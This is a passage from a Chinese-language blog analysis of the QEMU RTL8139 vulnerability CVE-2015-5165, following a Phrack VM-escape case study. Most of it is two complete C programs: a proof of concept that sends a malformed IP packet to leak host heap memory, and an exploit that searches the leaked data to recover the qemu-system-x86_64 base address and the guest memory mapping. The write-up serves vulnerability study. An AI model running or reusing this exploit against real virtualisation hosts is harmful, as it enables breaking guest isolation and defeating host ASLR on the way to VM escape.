  1. Phrack 文章 [1] 对接收缓冲区的设置位于函数 rtl8139_desc_config_rx ,可以每一个 ring / descriptor 关联的缓冲区的大小是 RTL8139_BUFFER_SIZE1514 字节,但是 dw0 标志中设置的大小却是 USHRT_MAX65535
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void rtl8139_desc_config_rx(struct rtl8139_ring *ring,
struct rtl8139_desc *desc, int nb)
{
uint32_t addr;
size_t i;
for (i = 0; i < nb; i++) {
ring[i].desc = &desc[i];
memset(ring[i].desc, 0, sizeof(struct rtl8139_desc));

ring[i].buffer = aligned_alloc(PAGE_SIZE, RTL8139_BUFFER_SIZE);
memset(ring[i].buffer, 0, RTL8139_BUFFER_SIZE);

addr = (uint32_t)gva_to_gpa(ring[i].buffer);

ring[i].desc->dw0 |= CP_RX_OWN;
if (i == nb - 1)
ring[i].desc->dw0 |= CP_RX_EOR;
ring[i].desc->dw0 &= ~CP_RX_BUFFER_SIZE_MASK;
ring[i].desc->dw0 |= USHRT_MAX;
ring[i].desc->buf_lo = addr;
}

addr = (uint32_t)gva_to_gpa(desc);
outl(addr, RTL8139_PORT + RxRingAddrLO);
outl(0x0, RTL8139_PORT + RxRingAddrHI);
}
  1. 这样的设置显然是不对的,这会导致可以通过函数 rtl8139_do_receive 中的缓冲区大小检查,后面在写入 Checksum 时会导致堆块越界写,这就是导致 QEMU 虚拟机中 PoC 进程 Crash 的原因;

参考 Phrack 文章的代码,笔者重写的一份用于测试 CVE-2015-5165 的完整 PoC 代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <string.h>
#include <sys/io.h>

// 页面相关参数
#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)

// Ethernet Frame 大小
// DST(6) + SRC(6) + Length/Type(2) + PayloadMTU(1500)
#define RTL8139_BUFFER_SIZE 1514

// RTL8139 网卡 PMIO 地址
#define RTL8139_PORT 0xc000

// Rx ownership flag
#define CP_RX_OWN (1<<31)
// w0 end of ring flag
#define CP_RX_EOR (1<<30)
// Rx buffer size mask 表示 0 ~ 12 位为 buffer size
#define CP_RX_BUFFER_SIZE_MASK ((1<<13) - 1)

// Tx ownership flag
#define CP_TX_OWN (1<<31)
// Tx end of ring flag
#define CP_TX_EOR (1<<30)
// last segment of received packet flag
#define CP_TX_LS (1<<28)
// large send packet flag
#define CP_TX_LGSEN (1<<27)
// IP checksum offload flag
#define CP_TX_IPCS (1<<18)
// TCP checksum offload flag
#define CP_TX_TCPCS (1<<16)

// RTL8139 网卡寄存器偏移地址
enum RTL8139_registers
{
TxAddr0 = 0x20, // Tx descriptors address
ChipCmd = 0x37,
TxConfig = 0x40,
RxConfig = 0x44,
TxPoll = 0xD9, // tell chip to check Tx descriptors for work
CpCmd = 0xE0, // C+ Command register (C+ mode only)
// 虽然名字写的 RxRingAddr, 但实际上是 Rx descriptor 的地址
RxRingAddrLO = 0xE4, // 64-bit start addr of Rx descriptor
RxRingAddrHI = 0xE8, // 64-bit start addr of Rx descriptor
};

enum RTL_8139_tx_config_bits
{
TxLoopBack = (1 << 18) | (1 << 17), // enable loopback test mode
};

enum RTL_8139_rx_mode_bits
{
AcceptErr = 0x20,
AcceptRunt = 0x10,
AcceptBroadcast = 0x08,
AcceptMulticast = 0x04,
AcceptMyPhys = 0x02,
AcceptAllPhys = 0x01,
};

enum RTL_8139_CplusCmdBits
{
CPlusRxVLAN = 0x0040, /* enable receive VLAN detagging */
CPlusRxChkSum = 0x0020, /* enable receive checksum offloading */
CPlusRxEnb = 0x0002,
CPlusTxEnb = 0x0001,
};

enum RT8139_ChipCmdBits
{
CmdReset = 0x10,
CmdRxEnb = 0x08,
CmdTxEnb = 0x04,
RxBufEmpty = 0x01,
};

enum RTL8139_TxPollBits
{
CPlus = 0x40,
};

// RTL8139 Rx / Tx descriptor
struct rtl8139_desc
{
uint32_t dw0;
uint32_t dw1;
uint32_t buf_lo;
uint32_t buf_hi;
};

// RTL8139 Rx / Tx ring
struct rtl8139_ring
{
struct rtl8139_desc* desc;
void* buffer;
};

uint8_t rtl8139_packet[] =
{
// Ethernet Frame Header 数据
// DST MAC 52:54:00:12:34:57
0x52, 0x54, 0x00, 0x12, 0x34, 0x57,
// SRC MAC 52:54:00:12:34:57
0x52, 0x54, 0x00, 0x12, 0x34, 0x57,
// Length / Type: IPv4
0x08, 0x00,

// Ethernet Frame Payload 数据, 即 IPv4 数据包
// Version & IHL(Internet Header Length)
(0x04 << 4) | 0x05, // 0x05 * 4 = 20 bytes
0x00,
// Total Length = 0x13 = 19 bytes
0x00, 0x13, // 19 - 20 = -1 = 0xFFFF, trigger vulnerability
0xde, 0xad, // Identification
0x40, 0x00, // Flags & Fragment Offset
0x40, // TTL
0x06, // Protocol: TCP
0xde, 0xad, // Header checksum
0x7f, 0x00, 0x00, 0x01, // Source IP: 127.0.0.1
0x7f, 0x00, 0x00, 0x01, // Destination IP: 127.0.0.1

// IP Packet Payload 数据, 即 TCP 数据包
0xde, 0xad, // Source Port
0xbe, 0xef, // Destination Port
0x00, 0x00, 0x00, 0x00, // Sequence Number
0x00, 0x00, 0x00, 0x00, // Acknowledgement Number
0x50, // 01010000, Header Length = 5 * 4 = 20
0x10, // 00010000, ACK
0xde, 0xad, // Window Size
0xde, 0xad, // TCP checksum
0x00, 0x00 // Urgent Pointer
};

uint64_t get_physical_pfn(void* addr)
{
uint64_t pfn = -1;
FILE* fp = fopen("/proc/self/pagemap", "rb");
if (!fp)
{
return pfn;
}

if (!fseek(fp, (unsigned long)addr / PAGE_SIZE * 8, SEEK_SET))
{
fread(&pfn, sizeof(pfn), 1, fp);
if (pfn & PFN_PRESENT)
{
pfn &= PFN_PFN;
}
}
fclose(fp);
return pfn;
}

uint64_t gva_to_gpa(void* addr)
{
uint64_t pfn = get_physical_pfn(addr);
return pfn * PAGE_SIZE + (uint64_t)addr % PAGE_SIZE;
}

void rtl8139_desc_config_rx(rtl8139_ring* ring, rtl8139_desc* desc, size_t nb)
{
size_t buffer_size = RTL8139_BUFFER_SIZE + 4;
for (size_t i = 0; i < nb; ++i)
{
memset(&desc[i], 0, sizeof(desc[i]));
ring[i].desc = &desc[i];

ring[i].buffer = aligned_alloc(PAGE_SIZE, buffer_size);
memset(ring[i].buffer, 0, buffer_size);

// descriptor owned by NIC 准备接收数据
ring[i].desc->dw0 |= CP_RX_OWN;
if (i == nb - 1)
{
ring[i].desc->dw0 |= CP_RX_EOR; // End of Ring
}
ring[i].desc->dw0 &= ~CP_RX_BUFFER_SIZE_MASK;
ring[i].desc->dw0 |= buffer_size; // buffer_size
ring[i].desc->buf_lo = (uint32_t)gva_to_gpa(ring[i].buffer);
}

// Rx descriptors address
outl((uint32_t)gva_to_gpa(desc), RTL8139_PORT + RxRingAddrLO);
outl(0, RTL8139_PORT + RxRingAddrHI);
}

void rtl8139_desc_config_tx(rtl8139_desc* desc, void* buffer)
{
memset(desc, 0, sizeof(rtl8139_desc));
desc->dw0 |= CP_TX_OWN | // descriptor owned by NIC 准备发送数据
CP_TX_EOR |
CP_TX_LS |
CP_TX_LGSEN |
CP_TX_IPCS |
CP_TX_TCPCS;
desc->dw0 += RTL8139_BUFFER_SIZE;
desc->buf_lo = (uint32_t)gva_to_gpa(buffer);
outl((uint32_t)gva_to_gpa(desc), RTL8139_PORT + TxAddr0);
outl(0, RTL8139_PORT + TxAddr0 + 4);
}

void rtl8139_card_config()
{
// 触发漏洞需要设置的一些参数
outl(TxLoopBack, RTL8139_PORT + TxConfig);
outl(AcceptMyPhys, RTL8139_PORT + RxConfig);
outw(CPlusRxEnb | CPlusTxEnb, RTL8139_PORT + CpCmd);
outb(CmdRxEnb | CmdTxEnb, RTL8139_PORT + ChipCmd);
}

void rtl8139_packet_send(void* buffer, void* packet, size_t len)
{
if (len <= RTL8139_BUFFER_SIZE)
{
memcpy(buffer, packet, len);
outb(CPlus, RTL8139_PORT + TxPoll);
}
}

void xxd(uint8_t* ptr, size_t size)
{
for (size_t i = 0, j = 0; i < size; ++i, ++j)
{
if (i % 16 == 0)
{
j = 0;
printf("\n0x%08x: ", ptr + i);
}
printf("%02x ", ptr[i]);
if (j == 7)
{
printf("- ");
}
}
printf("\n");
}

int main(int argc, char** argv)
{
// 44 * RTL8139_BUFFER_SIZE = 44 * 1514 = 66616
// 可以收完 65535 字节数据
size_t rtl8139_rx_nb = 44;
rtl8139_ring* rtl8139_rx_ring = (rtl8139_ring*)aligned_alloc(
PAGE_SIZE, rtl8139_rx_nb * sizeof(struct rtl8139_ring));
rtl8139_desc* rtl8139_rx_desc = (rtl8139_desc*)aligned_alloc(
PAGE_SIZE, rtl8139_rx_nb * sizeof(struct rtl8139_desc));
rtl8139_desc* rtl8139_tx_desc = (rtl8139_desc*)aligned_alloc(
PAGE_SIZE, sizeof(struct rtl8139_desc));
void* rtl8139_tx_buffer = aligned_alloc(PAGE_SIZE, RTL8139_BUFFER_SIZE);

// change I/O privilege level
iopl(3);

// initialize Rx ring, Rx descriptor, Tx descriptor
rtl8139_desc_config_rx(rtl8139_rx_ring, rtl8139_rx_desc, rtl8139_rx_nb);
rtl8139_desc_config_tx(rtl8139_tx_desc, rtl8139_tx_buffer);
rtl8139_card_config();
rtl8139_packet_send(rtl8139_tx_buffer, rtl8139_packet,
sizeof(rtl8139_packet));
sleep(2);

// print leaked data
for (size_t i = 0; i < rtl8139_rx_nb; ++i)
{
// RTL8139_BUFFER_SIZE 之后 4 字节数据为 Checksum
// 不打印也无所谓了
xxd((uint8_t*)rtl8139_rx_ring[i].buffer, RTL8139_BUFFER_SIZE);
}

// TODO: free heap blocks

return 0;
}

运行 PoC 后,在接收到的中间某些数据包中可以看到泄露的数据:

QEMU 漏洞 CVE-2015-5165 PoC

4.5 漏洞利用

Phrack 文章 [1] 漏洞利用的思路为:在泄露的数据中搜索保存了 ObjectProperty 对象的堆块(可能是已经被释放的堆块),通过读取 ObjectProperty 对象中保存的函数指针来泄露模块 qemu-system-x86_64 的基地址。

结构体 ObjectProperty 的定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#define Q_TAILQ_ENTRY(type, qual)                               \
struct { \
qual type *tqe_next; /* next element */ \
qual type *qual *tqe_prev; /* address of previous next element */\
}
#define QTAILQ_ENTRY(type) Q_TAILQ_ENTRY(struct type,)

typedef struct ObjectProperty
{
gchar *name;
gchar *type;
gchar *description;
ObjectPropertyAccessor *get;
ObjectPropertyAccessor *set;
ObjectPropertyResolve *resolve;
ObjectPropertyRelease *release;
void *opaque;

QTAILQ_ENTRY(ObjectProperty) node;
} ObjectProperty;

这里 get / set / resolve / release 保存的值均为函数指针。

利用步骤:

  1. 结构体 ObjectProperty 的大小为 0x50 字节,因此包含 metadata 的堆块的大小为 0x60 字节,可以根据这一信息去搜索泄露的数据中存在的堆块;
  2. ASLR 不会对地址的低 12 位进行随机化处理,因此可以以相关函数地址的低 12 位为特征进行搜索,以计算出模块 qemu-system-x86_64 的基地址;
  3. 统计泄露的数据中出现的 uint64_t 类型的数据 0x00007FXXYYZZZZZZ ,其中 7FXXYY 出现次数最多的数据,就是 QEMU 虚拟机物理内存的结束地址;

基于前面的 PoC 代码,笔者重写的一份用于测试 CVE-2015-5165 的完整 Exploit 代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <string.h>
#include <sys/io.h>
#include <inttypes.h>

// 页面相关参数
#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)

// Ethernet Frame 大小
// DST(6) + SRC(6) + Length/Type(2) + PayloadMTU(1500)
#define RTL8139_BUFFER_SIZE 1514

// RTL8139 网卡 PMIO 地址
#define RTL8139_PORT 0xc000

// Rx ownership flag
#define CP_RX_OWN (1<<31)
// w0 end of ring flag
#define CP_RX_EOR (1<<30)
// Rx buffer size mask 表示 0 ~ 12 位为 buffer size
#define CP_RX_BUFFER_SIZE_MASK ((1<<13) - 1)

// Tx ownership flag
#define CP_TX_OWN (1<<31)
// Tx end of ring flag
#define CP_TX_EOR (1<<30)
// last segment of received packet flag
#define CP_TX_LS (1<<28)
// large send packet flag
#define CP_TX_LGSEN (1<<27)
// IP checksum offload flag
#define CP_TX_IPCS (1<<18)
// TCP checksum offload flag
#define CP_TX_TCPCS (1<<16)

#define CHUNK_COUNT 0x2000
#define CHUNK_SIZE_MASK ~7ull

// RTL8139 网卡寄存器偏移地址
enum RTL8139_registers
{
TxAddr0 = 0x20, // Tx descriptors address
ChipCmd = 0x37,
TxConfig = 0x40,
RxConfig = 0x44,
TxPoll = 0xD9, // tell chip to check Tx descriptors for work
CpCmd = 0xE0, // C+ Command register (C+ mode only)
// 虽然名字写的 RxRingAddr, 但实际上是 Rx descriptor 的地址
RxRingAddrLO = 0xE4, // 64-bit start addr of Rx descriptor
RxRingAddrHI = 0xE8, // 64-bit start addr of Rx descriptor
};

enum RTL_8139_tx_config_bits
{
TxLoopBack = (1 << 18) | (1 << 17), // enable loopback test mode
};

enum RTL_8139_rx_mode_bits
{
AcceptErr = 0x20,
AcceptRunt = 0x10,
AcceptBroadcast = 0x08,
AcceptMulticast = 0x04,
AcceptMyPhys = 0x02,
AcceptAllPhys = 0x01,
};

enum RTL_8139_CplusCmdBits
{
CPlusRxVLAN = 0x0040, /* enable receive VLAN detagging */
CPlusRxChkSum = 0x0020, /* enable receive checksum offloading */
CPlusRxEnb = 0x0002,
CPlusTxEnb = 0x0001,
};

enum RT8139_ChipCmdBits
{
CmdReset = 0x10,
CmdRxEnb = 0x08,
CmdTxEnb = 0x04,
RxBufEmpty = 0x01,
};

enum RTL8139_TxPollBits
{
CPlus = 0x40,
};

// RTL8139 Rx / Tx descriptor
struct rtl8139_desc
{
uint32_t dw0;
uint32_t dw1;
uint32_t buf_lo;
uint32_t buf_hi;
};

// RTL8139 Rx / Tx ring
struct rtl8139_ring
{
struct rtl8139_desc* desc;
void* buffer;
};

uint8_t rtl8139_packet[] =
{
// Ethernet Frame Header 数据
// DST MAC 52:54:00:12:34:57
0x52, 0x54, 0x00, 0x12, 0x34, 0x57,
// SRC MAC 52:54:00:12:34:57
0x52, 0x54, 0x00, 0x12, 0x34, 0x57,
// Length / Type: IPv4
0x08, 0x00,

// Ethernet Frame Payload 数据, 即 IPv4 数据包
// Version & IHL(Internet Header Length)
(0x04 << 4) | 0x05, // 0x05 * 4 = 20 bytes
0x00,
// Total Length = 0x13 = 19 bytes
0x00, 0x13, // 19 - 20 = -1 = 0xFFFF, trigger vulnerability
0xde, 0xad, // Identification
0x40, 0x00, // Flags & Fragment Offset
0x40, // TTL
0x06, // Protocol: TCP
0xde, 0xad, // Header checksum
0x7f, 0x00, 0x00, 0x01, // Source IP: 127.0.0.1
0x7f, 0x00, 0x00, 0x01, // Destination IP: 127.0.0.1

// IP Packet Payload 数据, 即 TCP 数据包
0xde, 0xad, // Source Port
0xbe, 0xef, // Destination Port
0x00, 0x00, 0x00, 0x00, // Sequence Number
0x00, 0x00, 0x00, 0x00, // Acknowledgement Number
0x50, // 01010000, Header Length = 5 * 4 = 20
0x10, // 00010000, ACK
0xde, 0xad, // Window Size
0xde, 0xad, // TCP checksum
0x00, 0x00 // Urgent Pointer
};

uint64_t get_physical_pfn(void* addr)
{
uint64_t pfn = -1;
FILE* fp = fopen("/proc/self/pagemap", "rb");
if (!fp)
{
return pfn;
}

if (!fseek(fp, (unsigned long)addr / PAGE_SIZE * 8, SEEK_SET))
{
fread(&pfn, sizeof(pfn), 1, fp);
if (pfn & PFN_PRESENT)
{
pfn &= PFN_PFN;
}
}
fclose(fp);
return pfn;
}

uint64_t gva_to_gpa(void* addr)
{
uint64_t pfn = get_physical_pfn(addr);
return pfn * PAGE_SIZE + (uint64_t)addr % PAGE_SIZE;
}

void rtl8139_desc_config_rx(rtl8139_ring* ring, rtl8139_desc* desc, size_t nb)
{
size_t buffer_size = RTL8139_BUFFER_SIZE + 4;
for (size_t i = 0; i < nb; ++i)
{
memset(&desc[i], 0, sizeof(desc[i]));
ring[i].desc = &desc[i];

ring[i].buffer = aligned_alloc(PAGE_SIZE, buffer_size);
memset(ring[i].buffer, 0, buffer_size);

// descriptor owned by NIC 准备接收数据
ring[i].desc->dw0 |= CP_RX_OWN;
if (i == nb - 1)
{
ring[i].desc->dw0 |= CP_RX_EOR; // End of Ring
}
ring[i].desc->dw0 &= ~CP_RX_BUFFER_SIZE_MASK;
ring[i].desc->dw0 |= buffer_size; // buffer_size
ring[i].desc->buf_lo = (uint32_t)gva_to_gpa(ring[i].buffer);
}

// Rx descriptors address
outl((uint32_t)gva_to_gpa(desc), RTL8139_PORT + RxRingAddrLO);
outl(0, RTL8139_PORT + RxRingAddrHI);
}

void rtl8139_desc_config_tx(rtl8139_desc* desc, void* buffer)
{
memset(desc, 0, sizeof(rtl8139_desc));
desc->dw0 |= CP_TX_OWN | // descriptor owned by NIC 准备发送数据
CP_TX_EOR |
CP_TX_LS |
CP_TX_LGSEN |
CP_TX_IPCS |
CP_TX_TCPCS;
desc->dw0 += RTL8139_BUFFER_SIZE;
desc->buf_lo = (uint32_t)gva_to_gpa(buffer);
outl((uint32_t)gva_to_gpa(desc), RTL8139_PORT + TxAddr0);
outl(0, RTL8139_PORT + TxAddr0 + 4);
}

void rtl8139_card_config()
{
// 触发漏洞需要设置的一些参数
outl(TxLoopBack, RTL8139_PORT + TxConfig);
outl(AcceptMyPhys, RTL8139_PORT + RxConfig);
outw(CPlusRxEnb | CPlusTxEnb, RTL8139_PORT + CpCmd);
outb(CmdRxEnb | CmdTxEnb, RTL8139_PORT + ChipCmd);
}

void rtl8139_packet_send(void* buffer, void* packet, size_t len)
{
if (len <= RTL8139_BUFFER_SIZE)
{
memcpy(buffer, packet, len);
outb(CPlus, RTL8139_PORT + TxPoll);
}
}

void xxd(uint8_t* ptr, size_t size)
{
for (size_t i = 0, j = 0; i < size; ++i, ++j)
{
if (i % 16 == 0)
{
j = 0;
printf("\n0x%08x: ", ptr + i);
}
printf("%02x ", ptr[i]);
if (j == 7)
{
printf("- ");
}
}
printf("\n");
}

size_t scan_leaked_chunks(rtl8139_ring* ring, size_t ring_count,
size_t chunk_size, void** chunks, size_t chunk_count)
{
size_t count = 0;
for (size_t i = 0; i < ring_count; ++i)
{
// Ethernet Frame Header: 14 +
// IP Header: 20 +
// TCP Header: 20 = 54
uint8_t* ptr = (uint8_t*)ring[i].buffer + 56;
uint8_t* end = (uint8_t*)ring[i].buffer + RTL8139_BUFFER_SIZE / 4 * 4;
while (ptr < end)
{
uint64_t size = *(uint64_t*)ptr & CHUNK_SIZE_MASK;
if (size == chunk_size)
{
chunks[count++] = (void*)(ptr + 8);
}
ptr += 4;
if (count > chunk_count)
{
return count;
}
}
}
return count;
}

uint64_t leak_module_base_addr(void** chunks, size_t count)
{
const uint64_t property_get_bool_offset = 0x377F66;
const uint64_t mask = 0x00000FFF;
for (size_t i = 0; i < count; ++i)
{
uint64_t* ptr = (uint64_t*)chunks[i] + 3;
if ((*ptr & mask) == (property_get_bool_offset & mask))
{
printf("property_get_bool: 0x%" PRIx64 "\n", *ptr);
return *ptr - property_get_bool_offset;
}
}
return -1;
}

uint64_t leak_physical_memory_addr(rtl8139_ring* ring, size_t ring_count)
{
const uint64_t mask = 0xffff000000ull;
static unsigned short array[0x10000];
size_t index = 0;
memset(array, 0, sizeof(array));

for (size_t i = 0; i < ring_count; ++i)
{
uint8_t* ptr = (uint8_t*)ring[i].buffer + 56;
uint8_t* end = (uint8_t*)ring[i].buffer + RTL8139_BUFFER_SIZE / 4 * 4;
while (ptr < end - 8)
{
uint64_t value = *(uint64_t*)ptr;
if (((value >> 40) & 0xff) == 0x7f)
{
value = (value & mask) >> 24;
array[value]++;
if (array[value] > array[index])
{
index = value;
}
}
ptr += 4;
}
}

uint64_t memory_size = 0x80000000;
return (((uint64_t)index | 0x7f0000) << 24) - memory_size;
}

int main(int argc, char** argv)
{
// 44 * RTL8139_BUFFER_SIZE = 44 * 1514 = 66616
// 可以收完 65535 字节数据
size_t rtl8139_rx_nb = 44;
rtl8139_ring* rtl8139_rx_ring = (rtl8139_ring*)aligned_alloc(
PAGE_SIZE, rtl8139_rx_nb * sizeof(struct rtl8139_ring));
rtl8139_desc* rtl8139_rx_desc = (rtl8139_desc*)aligned_alloc(
PAGE_SIZE, rtl8139_rx_nb * sizeof(struct rtl8139_desc));
rtl8139_desc* rtl8139_tx_desc = (rtl8139_desc*)aligned_alloc(
PAGE_SIZE, sizeof(struct rtl8139_desc));
void* rtl8139_tx_buffer = aligned_alloc(PAGE_SIZE, RTL8139_BUFFER_SIZE);

// change I/O privilege level
iopl(3);

// initialize Rx ring, Rx descriptor, Tx descriptor
rtl8139_desc_config_rx(rtl8139_rx_ring, rtl8139_rx_desc, rtl8139_rx_nb);
rtl8139_desc_config_tx(rtl8139_tx_desc, rtl8139_tx_buffer);
rtl8139_card_config();
rtl8139_packet_send(rtl8139_tx_buffer, rtl8139_packet,
sizeof(rtl8139_packet));
sleep(2);

// print leaked data
for (size_t i = 0; i < rtl8139_rx_nb; ++i)
{
// RTL8139_BUFFER_SIZE 之后 4 字节数据为 Checksum
// 不打印也无所谓了
xxd((uint8_t*)rtl8139_rx_ring[i].buffer, RTL8139_BUFFER_SIZE);
}

// exploit
void* chunks[CHUNK_COUNT] = { 0 };
size_t chunk_count = scan_leaked_chunks(rtl8139_rx_ring, rtl8139_rx_nb,
0x60, chunks, CHUNK_COUNT);
uint64_t module_addr = leak_module_base_addr(chunks, chunk_count);
printf("qemu-system-x86_64: 0x%" PRIx64 "\n", module_addr);
uint64_t physical_memory_addr = leak_physical_memory_addr(
rtl8139_rx_ring, rtl8139_rx_nb);
printf("physical memory address: 0x%" PRIx64 "\n", physical_memory_addr);

// TODO: free heap blocks

return 0;
}

Exploit 测试结果如下:

QEMU 漏洞 CVE-2015-5165 Exploit

0x05. 分析小结

第一次分析 QEMU 的漏洞,整体感觉还挺有意思的,CVE-2015-5165 这个漏洞本身简单易懂,如果了解网卡基本工作原理的话,Exploit 编写也不是很难。

0x06. 参考文献

[1] http://www.phrack.org/papers/vm-escape-qemu-case-study.html

[2] QEMU commands-posix.c patch - <sys/sysmacros.h>

[3] https://dangokyo.me/2018/03/02/qemu-escape-part-1-environment-set-up/

[4] https://www.realvnc.com/en/connect/download/viewer/

[5] https://shanetully.com/2014/12/translating-virtual-addresses-to-physcial-addresses-in-user-space/

[6] https://www.kernel.org/doc/Documentation/vm/pagemap.txt

[7] TCP/IP Illustrated, Volum 1, The protocols, Second Edition, Kevin R. Fall, W. Richard Stevens

[8] http://realtek.info/pdf/rtl8139cp.pdf

[9] https://www.anquanke.com/post/id/197637

请作者喝杯咖啡☕